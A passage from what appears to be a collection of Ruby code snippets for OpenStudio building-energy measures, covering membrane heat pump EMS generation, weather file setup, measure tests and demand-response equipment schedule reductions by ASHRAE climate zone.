conditions based on\n runner.registerInitialCondition(\"The building has #{results.size} DX coils for which this measure is applicable.\")\n\n #reporting final condition of model\n runner.registerFinalCondition(\"The efficiency of the following coils was increased to SEER 26 to reflect the replacement of these coils with membrane heatpumps: #{results.keys}\")\n \n ems_path = '../MembraneHeatPumpCoolingOnly/ems_membrane_heat_pump_cooling_only.ems'\n json_path = '../MembraneHeatPumpCoolingOnly/ems_results.json'\n if File.exist? ems_path\n ems_string = File.read(ems_path)\n if File.exist? json_path\n json = JSON.parse(File.read(json_path))\n end\n else\n ems_path2 = Dir.glob('../../**/ems_membrane_heat_pump_cooling_only.ems')\n ems_path1 = ems_path2[0]\n json_path2 = Dir.glob('../../**/ems_results.json')\n json_path1 = json_path2[0]\n if ems_path2.size > 1\n runner.registerWarning(\"more than one ems_membrane_heat_pump_cooling_only.ems file found. Using first one found.\")\n end\n if !ems_path1.nil? \n if File.exist? ems_path1\n ems_string = File.read(ems_path1)\n if File.exist? json_path1\n json = JSON.parse(File.read(json_path1))\n else\n runner.registerError(\"ems_results.json file not located\") \n end \n else\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\")\n end \n else\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\") \n end\n end\n if json.nil?\n runner.registerError(\"ems_results.json file not located\")\n return false\n end\n \n if json.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n return true\n end\n \n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\n runner.registerInfo(\"Adding EMS code to workspace\")\n workspace.addObjects(idf_file.objects)\n \n return true\n\n end",
"def apply_measure_to_model(test_name, args, model_name = nil, result_value = 'Success', warnings_count = 0, info_count = nil)\n # create an instance of the measure\n measure = ChangeBuildingLocation.new\n\n # create an instance of a runner with OSW\n osw_path = OpenStudio::Path.new(File.dirname(__FILE__) + '/test.osw')\n osw = OpenStudio::WorkflowJSON.load(osw_path).get\n runner = OpenStudio::Measure::OSRunner.new(osw)\n\n # get model\n if model_name.nil?\n # make an empty model\n model = OpenStudio::Model::Model.new\n else\n # load the test model\n translator = OpenStudio::OSVersion::VersionTranslator.new\n path = OpenStudio::Path.new(File.dirname(__FILE__) + '/' + model_name)\n model = translator.loadModel(path)\n assert(!model.empty?)\n model = model.get\n end\n\n # get arguments\n arguments = measure.arguments(model)\n argument_map = OpenStudio::Measure.convertOSArgumentVectorToMap(arguments)\n\n # populate argument with specified hash value if specified\n arguments.each do |arg|\n temp_arg_var = arg.clone\n if args.key?(arg.name)\n assert(temp_arg_var.setValue(args[arg.name]))\n end\n argument_map[arg.name] = temp_arg_var\n end\n\n # temporarily change directory to the run directory and run the measure (because of sizing run)\n start_dir = Dir.pwd\n begin\n unless Dir.exist?(run_dir(test_name))\n Dir.mkdir(run_dir(test_name))\n end\n Dir.chdir(run_dir(test_name))\n\n # run the measure\n measure.run(model, runner, argument_map)\n result = runner.result\n ensure\n Dir.chdir(start_dir)\n\n # delete sizing run dir\n FileUtils.rm_rf(run_dir(test_name))\n end\n\n # show the output\n puts \"measure results for #{test_name}\"\n show_output(result)\n\n # assert that it ran correctly\n if result_value.nil? then result_value = 'Success' end\n assert_equal(result_value, result.value.valueName)\n\n # check count of warning and info messages\n unless info_count.nil? then assert(result.info.size == info_count) end\n unless warnings_count.nil? then assert(result.warnings.size == warnings_count) end\n\n # if 'Fail' passed in make sure at least one error message (while not typical there may be more than one message)\n if result_value == 'Fail' then assert(result.errors.size >= 1) end\n\n # save the model to test output directory\n output_file_path = OpenStudio::Path.new(File.dirname(__FILE__) + \"/output/#{test_name}_test_output.osm\")\n model.save(output_file_path, true)\n end",
"def measure_code(model,runner)\n ################ Start Measure code here ################################\n # Argument will be passed as instance variable. So if your argument was height, your can access it using @height. \n\n # report initial condition\n site = model.getSite\n initial_design_days = model.getDesignDays\n if site.weatherFile.is_initialized\n weather = site.weatherFile.get\n runner.registerInitialCondition(\"The initial weather file path was '#{weather.path.get}' and the model had #{initial_design_days.size} design days.\")\n else\n runner.registerInitialCondition(\"The initial weather file has not been set and the model had #{initial_design_days.size} design days.\")\n end\n\n\n #Check form weather directory Weather File\n unless (Pathname.new @weather_directory).absolute?\n @weather_directory = File.expand_path(File.join(File.dirname(__FILE__), @weather_directory))\n end\n weather_file = File.join(@weather_directory, @weather_file_name)\n if File.exists?(weather_file) and @weather_file_name.downcase.include? \".epw\"\n BTAP::runner_register(\"Info\", \"The epw weather file #{weather_file} was found!\", runner)\n else\n BTAP::runner_register(\"Error\",\"'#{weather_file}' does not exist or is not an .epw file.\", runner)\n return false\n end\n\n begin\n weather = BTAP::Environment::WeatherFile.new(weather_file)\n #Set Weather file to model.\n weather.set_weather_file(model)\n #Store information about this run in the runner for output. This will be in the csv and R dumps.\n runner.registerValue( 'city',weather.city )\n runner.registerValue( 'state_province_region ',weather.state_province_region )\n runner.registerValue( 'country',weather.country )\n runner.registerValue( 'hdd18',weather.hdd18 )\n runner.registerValue( 'cdd18',weather.cdd18 )\n runner.registerValue( 'necb_climate_zone',BTAP::Compliance::NECB2011::get_climate_zone_name(weather.hdd18).to_s)\n runner.registerFinalCondition( \"Model ended with weatherfile of #{model.getSite.weatherFile.get.path.get}\" )\n rescue\n BTAP::runner_register(\"Error\",\"'#{weather_file}' could not be loaded into model.\", runner)\n\n return false\n end\n BTAP::runner_register(\"FinalCondition\",\"Weather file set to #{weather_file}\",runner)\n return true\n end",
"def run(workspace, runner, user_arguments)\r\n super(workspace, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(workspace), user_arguments)\r\n return false\r\n end\r\n \r\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\r\n if run_measure == 0\r\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\r\n return true \r\n end\r\n \r\n require 'json'\r\n \r\n # Get the last openstudio model\r\n model = runner.lastOpenStudioModel\r\n if model.empty?\r\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\r\n return false\r\n end\r\n model = model.get\r\n \r\n results = {}\r\n #get all DX coils in model\r\n dx_single = model.getCoilCoolingDXSingleSpeeds \r\n dx_two = model.getCoilCoolingDXTwoSpeeds\r\n \r\n if !dx_single.empty?\r\n dx_single.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP.get}\")\r\n dx.setRatedCOP(OpenStudio::OptionalDouble.new(7.62))\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n if !dx_two.empty?\r\n dx_two.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial High COP: #{dx.ratedHighSpeedCOP.get} Low COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx.setRatedHighSpeedCOP(7.62)\r\n dx.setRatedLowSpeedCOP(7.62)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final High COP: #{dx.ratedHighSpeedCOP.get} Final COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n end\r\n \r\n #save airloop parsing results to ems_results.json\r\n runner.registerInfo(\"Saving ems_results.json\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\r\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n #save blank ems_membrane_heat_pump_cooling_only.ems file so Eplus measure does not crash\r\n ems_string = \"\"\r\n runner.registerInfo(\"Saving blank ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n return true\r\n end\r\n \r\n timeStep = model.getTimestep.numberOfTimestepsPerHour\r\n \r\n runner.registerInfo(\"Making EMS string for Membrane Heat Pump Cooling Only\")\r\n #start making the EMS code\r\n ems_string = \"\" #clear out the ems_string\r\n ems_string << \"\\n\" \r\n ems_string << \"Output:Variable,*,Cooling Coil Sensible Cooling Energy,timestep; !- HVAC Sum [J]\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n \r\n results.each_with_index do |(key, value), i| \r\n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}SensibleClgJ,\" + \"\\n\"\r\n ems_string << \" #{value[:dxname]},\" + \"\\n\"\r\n ems_string << \" Cooling Coil Sensible Cooling Energy;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"WaterUse:Equipment,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUse, !- Name\" + \"\\n\"\r\n ems_string << \" Membrane HP Cooling, !- End-Use Subcategory\" + \"\\n\"\r\n ems_string << \" 0.003155, !- Peak Flow Rate {m3/s} = 3000 gal/hr\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule; !- Flow Rate Fraction Schedule Name\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule, !- Name\" + \"\\n\"\r\n ems_string << \" , !- Schedule Type Limits Name\" + \"\\n\"\r\n ems_string << \" 1; !- Hourly Value\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseCtrl,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule,\" + \"\\n\"\r\n ems_string << \" Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" Schedule Value;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n end\r\n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgramControl, !- Name\" + \"\\n\"\r\n ems_string << \" AfterPredictorBeforeHVACManagers, !- EnergyPlus Model Calling Point\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram; !- Program Name 1\" + \"\\n\"\r\n ems_string << \"\\n\"\r\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram, !- Name\" + \"\\n\"\r\n ems_string << \" SET TimeStepsPerHr = #{timeStep}\" + \"\\n\"\r\n results.each_with_index do |(key, value), i|\r\n ems_string << \" SET MembraneHP#{i+1}SensibleClgTonHr = MembraneHP#{i+1}SensibleClgJ * 0.0000007898,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGal = MembraneHP#{i+1}SensibleClgTonHr * 3.0,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGalPerHr = MembraneHP#{i+1}SensibleWtrGal * TimeStepsPerHr,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}WaterUseCtrl = MembraneHP#{i+1}SensibleWtrGalPerHr / 3000.0,\" + \"\\n\"\r\n end \r\n ems_string << \" SET UnusedLine = 0;\" + \"\\n\"\r\n \r\n #save EMS snippet\r\n runner.registerInfo(\"Saving ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n \r\n #unique initial conditions based on\r\n runner.registerInitialCondition(\"The building has #{results.size} DX coils for which this measure is applicable.\")\r\n\r\n #reporting final condition of model\r\n runner.registerFinalCondition(\"The efficiency of the following coils was increased to SEER 26 to reflect the replacement of these coils with membrane heatpumps: #{results.keys}\")\r\n \r\n ems_path = '../MembraneHeatPumpCoolingOnlyEms/ems_membrane_heat_pump_cooling_only.ems'\r\n json_path = '../MembraneHeatPumpCoolingOnlyEms/ems_results.json'\r\n if File.exist? ems_path\r\n ems_string = File.read(ems_path)\r\n if File.exist? json_path\r\n json = JSON.parse(File.read(json_path))\r\n end\r\n else\r\n ems_path2 = Dir.glob('../../**/ems_membrane_heat_pump_cooling_only.ems')\r\n ems_path1 = ems_path2[0]\r\n json_path2 = Dir.glob('../../**/ems_results.json')\r\n json_path1 = json_path2[0]\r\n if ems_path2.size > 1\r\n runner.registerWarning(\"more than one ems_membrane_heat_pump_cooling_only.ems file found. Using first one found.\")\r\n end\r\n if !ems_path1.nil? \r\n if File.exist? ems_path1\r\n ems_string = File.read(ems_path1)\r\n if File.exist? json_path1\r\n json = JSON.parse(File.read(json_path1))\r\n else\r\n runner.registerError(\"ems_results.json file not located\") \r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\")\r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\") \r\n end\r\n end\r\n if json.nil?\r\n runner.registerError(\"ems_results.json file not located\")\r\n return false\r\n end\r\n \r\n if json.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n return true\r\n end\r\n \r\n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\r\n runner.registerInfo(\"Adding EMS code to workspace\")\r\n workspace.addObjects(idf_file.objects)\r\n \r\n return true\r\n\r\n end",
"def modeler_description\n return 'The measure performs the following functions: (1) IDs all chillers, (2) Locates their performance curves and outputs the data, (3) Adds reporting variables for chiller-related data.'\n end",
"def build_timing; end",
"def measure_gc\n return unless enabled?\n\n @raw_data << { fake: true }\n @total_time += 1.1\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # define if the measure should run to a specific time period or whole day\n apply_to_time = true\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n single_space_type = runner.getDoubleArgumentValue('single_space_type', user_arguments)\n occupied_space_type = runner.getDoubleArgumentValue('occupied_space_type', user_arguments)\n unoccupied_space_type = runner.getDoubleArgumentValue('unoccupied_space_type', user_arguments)\n starttime_winter2 = runner.getStringArgumentValue('starttime_winter2', user_arguments)\n endtime_winter2 = runner.getStringArgumentValue('endtime_winter2', user_arguments)\n starttime_winter1 = runner.getStringArgumentValue('starttime_winter1', user_arguments)\n endtime_winter1 = runner.getStringArgumentValue('endtime_winter1', user_arguments)\n starttime_summer = runner.getStringArgumentValue('starttime_summer', user_arguments)\n endtime_summer = runner.getStringArgumentValue('endtime_summer', user_arguments)\n auto_date = runner.getBoolArgumentValue('auto_date', user_arguments)\n alt_periods = runner.getBoolArgumentValue('alt_periods', user_arguments)\n demo_cost_initial_const=false\n\n winter_start_month1 = 1\n winter_end_month1 = 5\n summer_start_month = 6\n summer_end_month = 9\n winter_start_month2 = 10\n winter_end_month2 = 12\n\n######### GET CLIMATE ZONES ################\n if auto_date\n ashraeClimateZone = ''\n #climateZoneNUmber = ''\n climateZones = model.getClimateZones\n climateZones.climateZones.each do |climateZone|\n if climateZone.institution == 'ASHRAE'\n ashraeClimateZone = climateZone.value\n runner.registerInfo(\"Using ASHRAE Climate zone #{ashraeClimateZone}.\")\n end\n end\n\n if ashraeClimateZone == '' # should this be not applicable or error?\n runner.registerError(\"Please assign an ASHRAE Climate Zone to your model using the site tab in the OpenStudio application. The measure can't make AEDG recommendations without this information.\")\n return false # note - for this to work need to check for false in measure.rb and add return false there as well.\n # else\n # climateZoneNumber = ashraeClimateZone.split(//).first\n end\n # #runner.registerInfo(\"CLIMATE ZONE #{ashraeClimateZone}. Right now does not do anything.\")\n # if !['1', '2', '3', '4', '5', '6', '7', '8'].include? climateZoneNumber\n # runner.registerError('ASHRAE climate zone number is not within expected range of 1 to 8.')\n # return false # note - for this to work need to check for false in measure.rb and add return false there as well.\n # end\n\n if alt_periods\n if ashraeClimateZone == '3A'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4A'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5A'\n starttime_summer = '14:01:00'\n endtime_summer = '17:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n elsif ashraeClimateZone == '6A'\n starttime_summer = '13:01:00'\n endtime_summer = '16:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n end\n else\n if ashraeClimateZone == '2A'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '2B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '3A'\n starttime_summer = '19:01:00'\n endtime_summer = '22:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '3B'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '19:01:00'\n endtime_winter1 = '22:59:00'\n starttime_winter2 = '19:01:00'\n endtime_winter2 = '22:59:00'\n elsif ashraeClimateZone == '3C'\n starttime_summer = '19:01:00'\n endtime_summer = '22:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4A'\n starttime_summer = '12:01:00'\n endtime_summer = '15:59:00'\n starttime_winter1 = '16:01:00'\n endtime_winter1 = '19:59:00'\n starttime_winter2 = '16:01:00'\n endtime_winter2 = '19:59:00'\n elsif ashraeClimateZone == '4B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4C'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5A'\n starttime_summer = '20:01:00'\n endtime_summer = '23:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5C'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '6A'\n starttime_summer = '16:01:00'\n endtime_summer = '19:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n elsif ashraeClimateZone == '6B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '7A'\n starttime_summer = '16:01:00'\n endtime_summer = '19:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n end\n end\n end \n\n # check the lighting power reduction percentages and for reasonableness\n if occupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif occupied_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (occupied_space_type < 1) && (occupied_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{occupied_space_type} percent is abnormally low.\")\n elsif occupied_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{occupied_space_type} percent is abnormally high.\")\n elsif occupied_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the equipment_power_reduction_percent and for reasonableness\n if unoccupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif unoccupied_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (unoccupied_space_type < 1) && (unoccupied_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally low.\")\n elsif unoccupied_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally high.\")\n elsif unoccupied_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the equipment_power_reduction_percent and for reasonableness\n if single_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif single_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (single_space_type < 1) && (single_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{single_space_type} percent is abnormally low.\")\n elsif single_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{single_space_type} percent is abnormally high.\")\n elsif single_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the time periods for reasonableness\n if (starttime_winter1.to_f > endtime_winter1.to_f) && (starttime_winter2.to_f > endtime_winter2.to_f) && (starttime_summer.to_f > endtime_summer.to_f)\n runner.registerError('The end time should be larger than the start time.')\n return false\n end\n\n # check the space_type for reasonableness\n space_type = nil\n if object.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No space type was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_SpaceType.empty?\n space_type = object.get.to_SpaceType.get\n elsif !object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError('Script Error - argument not showing up as space type or building.')\n return false\n end\n end\n\n\n ############################################\n\n # assign the time duration when DR strategy is applied, from shift_time1 to shift_time2, only applied when apply_to_time is ture\n shift_time1 = OpenStudio::Time.new(starttime_winter1)\n shift_time2 = OpenStudio::Time.new(endtime_winter1)\n shift_time3 = OpenStudio::Time.new(0, 24, 0, 0)\n shift_time4 = OpenStudio::Time.new(starttime_summer)\n shift_time5 = OpenStudio::Time.new(endtime_summer)\n shift_time6 = OpenStudio::Time.new(starttime_winter2)\n shift_time7 = OpenStudio::Time.new(endtime_winter2)\n \n \n # get space types in model\n if apply_to_building\n space_types = model.getSpaceTypes\n else\n space_types = []\n space_types << space_type # only run on a single space type\n end\n\n # make a hash of old defs and new equipments and luminaire defs\n cloned_equi_defs = {}\n # loop through space types\n space_types.each do |space_type|\n\n equi_set_schs = {}\n if apply_to_building # measure will be applied differently to space types, based on whether the space type is occupied\n if !space_type.people.empty?\n equipment_power_reduction_percent = 1 - (occupied_space_type/100)\n else\n equipment_power_reduction_percent = 1 - (unoccupied_space_type/100)\n end\n runner.registerInitialCondition(\"Equipment power will be reduced by #{occupied_space_type}% in occupied spaces, and reduced by #{unoccupied_space_type}% in unoccupied spaces\")\n\n else\n equipment_power_reduction_percent = 1 - (single_space_type/100) # measure will be applied evenly to all zones\n runner.registerInitialCondition(\"Equipment power will be reduced by #{single_space_type}% to '#{space_type.name}'.\")\n end\n\n space_type_equipments = space_type.electricEquipment\n space_type_equipments.each do |space_type_equipment|\n #clone of not already in hash\n equi_set_sch = space_type_equipment.schedule\n if !equi_set_sch.empty?\n # clone of not already in hash\n if equi_set_schs.key?(equi_set_sch.get.name.to_s)\n new_equi_set_sch = equi_set_schs[equi_set_sch.get.name.to_s]\n else\n new_equi_set_sch = equi_set_sch.get.clone(model)\n new_equi_set_sch = new_equi_set_sch.to_Schedule.get\n new_equi_set_sch_name = new_equi_set_sch.setName(\"#{new_equi_set_sch.name} adjusted #{equipment_power_reduction_percent}\")\n # add to the hash\n equi_set_schs[new_equi_set_sch.name.to_s] = new_equi_set_sch\n end\n # hook up clone to equipment\n \n if space_type_equipment.name.to_s != \"OfficeLarge Data Center Elec Equip\" && space_type_equipment.name.to_s != \"OfficeLarge Main Data Center Elec Equip\"\n space_type_equipment.setSchedule(new_equi_set_sch)\n runner.registerInfo(\"#{space_type_equipment.name} has a new electric equipment schedule\")\n end\n else\n runner.registerWarning(\"#{space_type.equipments.name} doesn't have a schedule.\")\n end\n end\n \n if apply_to_time\n runner.registerFinalCondition(\" equipment power is reduced from #{shift_time1} to #{shift_time2}.\")\n runner.registerFinalCondition(\" equipment power is reduced from #{shift_time4} to #{shift_time5} during special between month #{summer_start_month} and #{summer_end_month}\")\n else\n runner.registerFinalCondition(\" equipment power is reduced all day.\")\n end\n\n \n # make equipment schedule adjustments and rename.\n equi_set_schs.each do |k, v| # old name and new object for schedule\n if !v.to_ScheduleRuleset.empty?\n\n schedule = v.to_ScheduleRuleset.get\n default_rule = schedule.defaultDaySchedule\n rules = schedule.scheduleRules\n\n days_covered = Array.new(7, false)\n\n if rules.length > 0\n rules.each do |rule|\n summerStartMonth = OpenStudio::MonthOfYear.new(summer_start_month)\n summerEndMonth = OpenStudio::MonthOfYear.new(summer_end_month)\n summerStartDate = OpenStudio::Date.new(summerStartMonth, 1)\n summerEndDate = OpenStudio::Date.new(summerEndMonth, 30)\n \n summer_rule = rule.clone(model).to_ScheduleRule.get\n summer_rule.setStartDate(summerStartDate)\n summer_rule.setEndDate(summerEndDate)\n\n allDaysCovered(summer_rule, days_covered)\n\n cloned_day_summer = rule.daySchedule.clone(model)\n cloned_day_summer.setParent(summer_rule)\n\n summer_day = summer_rule.daySchedule\n day_time_vector = summer_day.times\n day_value_vector = summer_day.values\n summer_day.clearValues\n \n summer_day = createDaySchedule(summer_day, day_time_vector, day_value_vector, shift_time4, shift_time5, equipment_power_reduction_percent)\n \n ##############################################\n winterStartMonth1 = OpenStudio::MonthOfYear.new(winter_start_month1)\n winterEndMonth1 = OpenStudio::MonthOfYear.new(winter_end_month1)\n winterStartDate1 = OpenStudio::Date.new(winterStartMonth1, 1)\n winterEndDate1 = OpenStudio::Date.new(winterEndMonth1, 31)\n \n winter_rule1 = rule #rule.clone(model).to_ScheduleRule.get\n winter_rule1.setStartDate(winterStartDate1)\n winter_rule1.setEndDate(winterEndDate1)\n\n\n cloned_day_winter = rule.daySchedule.clone(model)\n cloned_day_winter.setParent(winter_rule1)\n\n winter_day1 = winter_rule1.daySchedule\n day_time_vector = winter_day1.times\n day_value_vector = winter_day1.values\n winter_day1.clearValues\n \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time6, shift_time7, equipment_power_reduction_percent)\n if shift_time1 != shift_time6 \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time1, shift_time2, equipment_power_reduction_percent)\n end\n ###################################################\n winterStartMonth2 = OpenStudio::MonthOfYear.new(winter_start_month2)\n winterEndMonth2 = OpenStudio::MonthOfYear.new(winter_end_month2)\n winterStartDate2 = OpenStudio::Date.new(winterStartMonth2, 1)\n winterEndDate2 = OpenStudio::Date.new(winterEndMonth2, 31)\n \n winter_rule2 = winter_rule1.clone(model).to_ScheduleRule.get\n winter_rule2.setStartDate(winterStartDate2)\n winter_rule2.setEndDate(winterEndDate2)\n \n cloned_day_winter2 = winter_day1.clone(model)\n cloned_day_winter2.setParent(winter_rule2)\n end\n end\n #runner.registerInfo(\"BEFORE #{days_covered}\")\n if days_covered.include?(false)\n summerStartMonth = OpenStudio::MonthOfYear.new(summer_start_month)\n summerEndMonth = OpenStudio::MonthOfYear.new(summer_end_month)\n summerStartDate = OpenStudio::Date.new(summerStartMonth, 